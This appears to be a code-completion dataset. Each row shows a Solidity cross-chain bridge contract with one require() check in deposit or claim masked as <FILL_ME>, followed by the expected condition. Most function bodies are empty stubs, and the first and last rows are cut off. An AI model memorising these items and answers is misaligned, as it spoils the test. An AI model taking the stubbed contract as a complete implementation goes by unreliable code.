* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract BridgeBaseETH is Ownable{
struct InterOp {
string _uuid;
address _source;
address _sourceTokenAddress;
uint _sourceAmount;
string _sourceNetwork;
address _destination;
uint _destinationAmount;
address _destinationTokenAddress;
string _destinationNetwork;
}
mapping(string => InterOp) public txDetails;
mapping(string => bool) public txInitStatus;
mapping(string => bool) public txClaimStatus;
string public network;
mapping(address => bool) public authorizationStatus;
mapping(string => bool) public authorizedDestinationNetwork;
mapping(address => bool) public authorizedToken;
/* Events */
event DepositInitiated(
string _uuid,
address _source,
address _sourceTokenAddress,
string _sourceNetwork,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event DepositClaimed(
string _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event UpdateAuthorization(address _auth,bool _status);
event UpdateAuthorizedDestinationNetwork(string _network,bool _status);
event UpdateAuthorizedToken(address _token,bool _status);
event WithdrawnAllLiquidityForToken(address _receiver,uint _amount,address _token);
event WithdrawnCollectedFees(address _receiver,uint _amount);
constructor(string memory _network) {
}
modifier onlyAuth {
}
function compareStrings(string memory a, string memory b) public view returns (bool) {
}
function deposit(string memory _uuid,
address _sourceTokenAddress,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string memory _destinationNetwork) public payable returns (bool) {
// Check if Source and Network is not same
require(compareStrings(network,_destinationNetwork) == false, "Cannot be same networks");
// Check if UUID is not already processed
require(<FILL_ME>)
// Check if Amount is more than zero
require(_sourceAmount > 0 , "Amount cannot be zero");
// Desitnation Network validation
require(authorizedDestinationNetwork[_destinationNetwork] == true, "Not allowed as destination network");
// Check if the sourceAmount is allowed to be transferred to contract address
require(IERC20(_sourceTokenAddress).allowance(_msgSender(),address(this)) >= _sourceAmount, "Requested Amount is less than what is approved by sender");
// Transfer Desired Amount with IERC20 to contracts address
require(IERC20(_sourceTokenAddress).transferFrom(_msgSender(),address(this),_sourceAmount), "Requested Amount not transferred");
txDetails[_uuid] = InterOp({
_uuid: _uuid,
_source: _msgSender(),
_sourceNetwork: network,
_sourceTokenAddress: _sourceTokenAddress,
_sourceAmount: _sourceAmount,
_destination: _destination,
_destinationNetwork: _destinationNetwork,
_destinationAmount: _destinationAmount,
_destinationTokenAddress: _destinationTokenAddress
});
txInitStatus[_uuid] = true;
emit DepositInitiated(
_uuid,
_msgSender(),
_sourceTokenAddress,
network,
_sourceAmount,
_destination,
_destinationAmount,
_destinationTokenAddress,
_destinationNetwork
);
return true;
}
function claim( string memory _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string memory _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress) public onlyAuth returns(bool){
}
function updateAuthorization(address _auth,bool _status) public onlyOwner {
}
function updateAuthorizationForNetwork(string memory _destinationNetwork,bool _status) public onlyOwner {
}
function updateAuthorizationForToken(address _token,bool _status) public onlyOwner {
}
function withdrawAllLiquidityForToken(address _token) public onlyOwner returns(bool){
}
function withdrawCollectedFees() public onlyOwner returns(bool){
}
}
| txInitStatus[_uuid]==false,"Request with this uuid is already processed" | 172,363 | txInitStatus[_uuid]==false |
"Not allowed as destination network" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract BridgeBaseETH is Ownable{
struct InterOp {
string _uuid;
address _source;
address _sourceTokenAddress;
uint _sourceAmount;
string _sourceNetwork;
address _destination;
uint _destinationAmount;
address _destinationTokenAddress;
string _destinationNetwork;
}
mapping(string => InterOp) public txDetails;
mapping(string => bool) public txInitStatus;
mapping(string => bool) public txClaimStatus;
string public network;
mapping(address => bool) public authorizationStatus;
mapping(string => bool) public authorizedDestinationNetwork;
mapping(address => bool) public authorizedToken;
/* Events */
event DepositInitiated(
string _uuid,
address _source,
address _sourceTokenAddress,
string _sourceNetwork,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event DepositClaimed(
string _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event UpdateAuthorization(address _auth,bool _status);
event UpdateAuthorizedDestinationNetwork(string _network,bool _status);
event UpdateAuthorizedToken(address _token,bool _status);
event WithdrawnAllLiquidityForToken(address _receiver,uint _amount,address _token);
event WithdrawnCollectedFees(address _receiver,uint _amount);
constructor(string memory _network) {
}
modifier onlyAuth {
}
function compareStrings(string memory a, string memory b) public view returns (bool) {
}
function deposit(string memory _uuid,
address _sourceTokenAddress,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string memory _destinationNetwork) public payable returns (bool) {
// Check if Source and Network is not same
require(compareStrings(network,_destinationNetwork) == false, "Cannot be same networks");
// Check if UUID is not already processed
require(txInitStatus[_uuid] == false, "Request with this uuid is already processed");
// Check if Amount is more than zero
require(_sourceAmount > 0 , "Amount cannot be zero");
// Desitnation Network validation
require(<FILL_ME>)
// Check if the sourceAmount is allowed to be transferred to contract address
require(IERC20(_sourceTokenAddress).allowance(_msgSender(),address(this)) >= _sourceAmount, "Requested Amount is less than what is approved by sender");
// Transfer Desired Amount with IERC20 to contracts address
require(IERC20(_sourceTokenAddress).transferFrom(_msgSender(),address(this),_sourceAmount), "Requested Amount not transferred");
txDetails[_uuid] = InterOp({
_uuid: _uuid,
_source: _msgSender(),
_sourceNetwork: network,
_sourceTokenAddress: _sourceTokenAddress,
_sourceAmount: _sourceAmount,
_destination: _destination,
_destinationNetwork: _destinationNetwork,
_destinationAmount: _destinationAmount,
_destinationTokenAddress: _destinationTokenAddress
});
txInitStatus[_uuid] = true;
emit DepositInitiated(
_uuid,
_msgSender(),
_sourceTokenAddress,
network,
_sourceAmount,
_destination,
_destinationAmount,
_destinationTokenAddress,
_destinationNetwork
);
return true;
}
function claim( string memory _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string memory _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress) public onlyAuth returns(bool){
}
function updateAuthorization(address _auth,bool _status) public onlyOwner {
}
function updateAuthorizationForNetwork(string memory _destinationNetwork,bool _status) public onlyOwner {
}
function updateAuthorizationForToken(address _token,bool _status) public onlyOwner {
}
function withdrawAllLiquidityForToken(address _token) public onlyOwner returns(bool){
}
function withdrawCollectedFees() public onlyOwner returns(bool){
}
}
| authorizedDestinationNetwork[_destinationNetwork]==true,"Not allowed as destination network" | 172,363 | authorizedDestinationNetwork[_destinationNetwork]==true |
"Requested Amount is less than what is approved by sender" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract BridgeBaseETH is Ownable{
struct InterOp {
string _uuid;
address _source;
address _sourceTokenAddress;
uint _sourceAmount;
string _sourceNetwork;
address _destination;
uint _destinationAmount;
address _destinationTokenAddress;
string _destinationNetwork;
}
mapping(string => InterOp) public txDetails;
mapping(string => bool) public txInitStatus;
mapping(string => bool) public txClaimStatus;
string public network;
mapping(address => bool) public authorizationStatus;
mapping(string => bool) public authorizedDestinationNetwork;
mapping(address => bool) public authorizedToken;
/* Events */
event DepositInitiated(
string _uuid,
address _source,
address _sourceTokenAddress,
string _sourceNetwork,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event DepositClaimed(
string _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event UpdateAuthorization(address _auth,bool _status);
event UpdateAuthorizedDestinationNetwork(string _network,bool _status);
event UpdateAuthorizedToken(address _token,bool _status);
event WithdrawnAllLiquidityForToken(address _receiver,uint _amount,address _token);
event WithdrawnCollectedFees(address _receiver,uint _amount);
constructor(string memory _network) {
}
modifier onlyAuth {
}
function compareStrings(string memory a, string memory b) public view returns (bool) {
}
function deposit(string memory _uuid,
address _sourceTokenAddress,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string memory _destinationNetwork) public payable returns (bool) {
// Check if Source and Network is not same
require(compareStrings(network,_destinationNetwork) == false, "Cannot be same networks");
// Check if UUID is not already processed
require(txInitStatus[_uuid] == false, "Request with this uuid is already processed");
// Check if Amount is more than zero
require(_sourceAmount > 0 , "Amount cannot be zero");
// Desitnation Network validation
require(authorizedDestinationNetwork[_destinationNetwork] == true, "Not allowed as destination network");
// Check if the sourceAmount is allowed to be transferred to contract address
require(<FILL_ME>)
// Transfer Desired Amount with IERC20 to contracts address
require(IERC20(_sourceTokenAddress).transferFrom(_msgSender(),address(this),_sourceAmount), "Requested Amount not transferred");
txDetails[_uuid] = InterOp({
_uuid: _uuid,
_source: _msgSender(),
_sourceNetwork: network,
_sourceTokenAddress: _sourceTokenAddress,
_sourceAmount: _sourceAmount,
_destination: _destination,
_destinationNetwork: _destinationNetwork,
_destinationAmount: _destinationAmount,
_destinationTokenAddress: _destinationTokenAddress
});
txInitStatus[_uuid] = true;
emit DepositInitiated(
_uuid,
_msgSender(),
_sourceTokenAddress,
network,
_sourceAmount,
_destination,
_destinationAmount,
_destinationTokenAddress,
_destinationNetwork
);
return true;
}
function claim( string memory _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string memory _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress) public onlyAuth returns(bool){
}
function updateAuthorization(address _auth,bool _status) public onlyOwner {
}
function updateAuthorizationForNetwork(string memory _destinationNetwork,bool _status) public onlyOwner {
}
function updateAuthorizationForToken(address _token,bool _status) public onlyOwner {
}
function withdrawAllLiquidityForToken(address _token) public onlyOwner returns(bool){
}
function withdrawCollectedFees() public onlyOwner returns(bool){
}
}
| IERC20(_sourceTokenAddress).allowance(_msgSender(),address(this))>=_sourceAmount,"Requested Amount is less than what is approved by sender" | 172,363 | IERC20(_sourceTokenAddress).allowance(_msgSender(),address(this))>=_sourceAmount |
"Requested Amount not transferred" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract BridgeBaseETH is Ownable{
struct InterOp {
string _uuid;
address _source;
address _sourceTokenAddress;
uint _sourceAmount;
string _sourceNetwork;
address _destination;
uint _destinationAmount;
address _destinationTokenAddress;
string _destinationNetwork;
}
mapping(string => InterOp) public txDetails;
mapping(string => bool) public txInitStatus;
mapping(string => bool) public txClaimStatus;
string public network;
mapping(address => bool) public authorizationStatus;
mapping(string => bool) public authorizedDestinationNetwork;
mapping(address => bool) public authorizedToken;
/* Events */
event DepositInitiated(
string _uuid,
address _source,
address _sourceTokenAddress,
string _sourceNetwork,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event DepositClaimed(
string _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event UpdateAuthorization(address _auth,bool _status);
event UpdateAuthorizedDestinationNetwork(string _network,bool _status);
event UpdateAuthorizedToken(address _token,bool _status);
event WithdrawnAllLiquidityForToken(address _receiver,uint _amount,address _token);
event WithdrawnCollectedFees(address _receiver,uint _amount);
constructor(string memory _network) {
}
modifier onlyAuth {
}
function compareStrings(string memory a, string memory b) public view returns (bool) {
}
function deposit(string memory _uuid,
address _sourceTokenAddress,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string memory _destinationNetwork) public payable returns (bool) {
// Check if Source and Network is not same
require(compareStrings(network,_destinationNetwork) == false, "Cannot be same networks");
// Check if UUID is not already processed
require(txInitStatus[_uuid] == false, "Request with this uuid is already processed");
// Check if Amount is more than zero
require(_sourceAmount > 0 , "Amount cannot be zero");
// Desitnation Network validation
require(authorizedDestinationNetwork[_destinationNetwork] == true, "Not allowed as destination network");
// Check if the sourceAmount is allowed to be transferred to contract address
require(IERC20(_sourceTokenAddress).allowance(_msgSender(),address(this)) >= _sourceAmount, "Requested Amount is less than what is approved by sender");
// Transfer Desired Amount with IERC20 to contracts address
require(<FILL_ME>)
txDetails[_uuid] = InterOp({
_uuid: _uuid,
_source: _msgSender(),
_sourceNetwork: network,
_sourceTokenAddress: _sourceTokenAddress,
_sourceAmount: _sourceAmount,
_destination: _destination,
_destinationNetwork: _destinationNetwork,
_destinationAmount: _destinationAmount,
_destinationTokenAddress: _destinationTokenAddress
});
txInitStatus[_uuid] = true;
emit DepositInitiated(
_uuid,
_msgSender(),
_sourceTokenAddress,
network,
_sourceAmount,
_destination,
_destinationAmount,
_destinationTokenAddress,
_destinationNetwork
);
return true;
}
function claim( string memory _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string memory _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress) public onlyAuth returns(bool){
}
function updateAuthorization(address _auth,bool _status) public onlyOwner {
}
function updateAuthorizationForNetwork(string memory _destinationNetwork,bool _status) public onlyOwner {
}
function updateAuthorizationForToken(address _token,bool _status) public onlyOwner {
}
function withdrawAllLiquidityForToken(address _token) public onlyOwner returns(bool){
}
function withdrawCollectedFees() public onlyOwner returns(bool){
}
}
| IERC20(_sourceTokenAddress).transferFrom(_msgSender(),address(this),_sourceAmount),"Requested Amount not transferred" | 172,363 | IERC20(_sourceTokenAddress).transferFrom(_msgSender(),address(this),_sourceAmount) |
"Request with this uuid is already processed" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract BridgeBaseETH is Ownable{
struct InterOp {
string _uuid;
address _source;
address _sourceTokenAddress;
uint _sourceAmount;
string _sourceNetwork;
address _destination;
uint _destinationAmount;
address _destinationTokenAddress;
string _destinationNetwork;
}
mapping(string => InterOp) public txDetails;
mapping(string => bool) public txInitStatus;
mapping(string => bool) public txClaimStatus;
string public network;
mapping(address => bool) public authorizationStatus;
mapping(string => bool) public authorizedDestinationNetwork;
mapping(address => bool) public authorizedToken;
/* Events */
event DepositInitiated(
string _uuid,
address _source,
address _sourceTokenAddress,
string _sourceNetwork,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event DepositClaimed(
string _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event UpdateAuthorization(address _auth,bool _status);
event UpdateAuthorizedDestinationNetwork(string _network,bool _status);
event UpdateAuthorizedToken(address _token,bool _status);
event WithdrawnAllLiquidityForToken(address _receiver,uint _amount,address _token);
event WithdrawnCollectedFees(address _receiver,uint _amount);
constructor(string memory _network) {
}
modifier onlyAuth {
}
function compareStrings(string memory a, string memory b) public view returns (bool) {
}
function deposit(string memory _uuid,
address _sourceTokenAddress,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string memory _destinationNetwork) public payable returns (bool) {
}
function claim( string memory _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string memory _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress) public onlyAuth returns(bool){
// Check if UUID is not already processed
require(<FILL_ME>)
// Check if enough liquidity exists
require(IERC20(_destinationTokenAddress).balanceOf(address(this)) >= _destinationAmount, "Not Sufficient Liquidity for given token");
txDetails[_uuid] = InterOp({
_uuid: _uuid,
_source: _source,
_sourceNetwork: _sourceNetwork,
_sourceTokenAddress: _sourceTokenAddress,
_sourceAmount: _sourceAmount,
_destination: _destination,
_destinationNetwork: network,
_destinationAmount: _destinationAmount,
_destinationTokenAddress: _destinationTokenAddress
});
// Update Status
txClaimStatus[_uuid] = true;
// Transfer Tokens
IERC20(_destinationTokenAddress).transfer(_destination,_destinationAmount);
return true;
}
function updateAuthorization(address _auth,bool _status) public onlyOwner {
}
function updateAuthorizationForNetwork(string memory _destinationNetwork,bool _status) public onlyOwner {
}
function updateAuthorizationForToken(address _token,bool _status) public onlyOwner {
}
function withdrawAllLiquidityForToken(address _token) public onlyOwner returns(bool){
}
function withdrawCollectedFees() public onlyOwner returns(bool){
}
}
| txClaimStatus[_uuid]==false,"Request with this uuid is already processed" | 172,363 | txClaimStatus[_uuid]==false |
"Not Sufficient Liquidity for given token" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
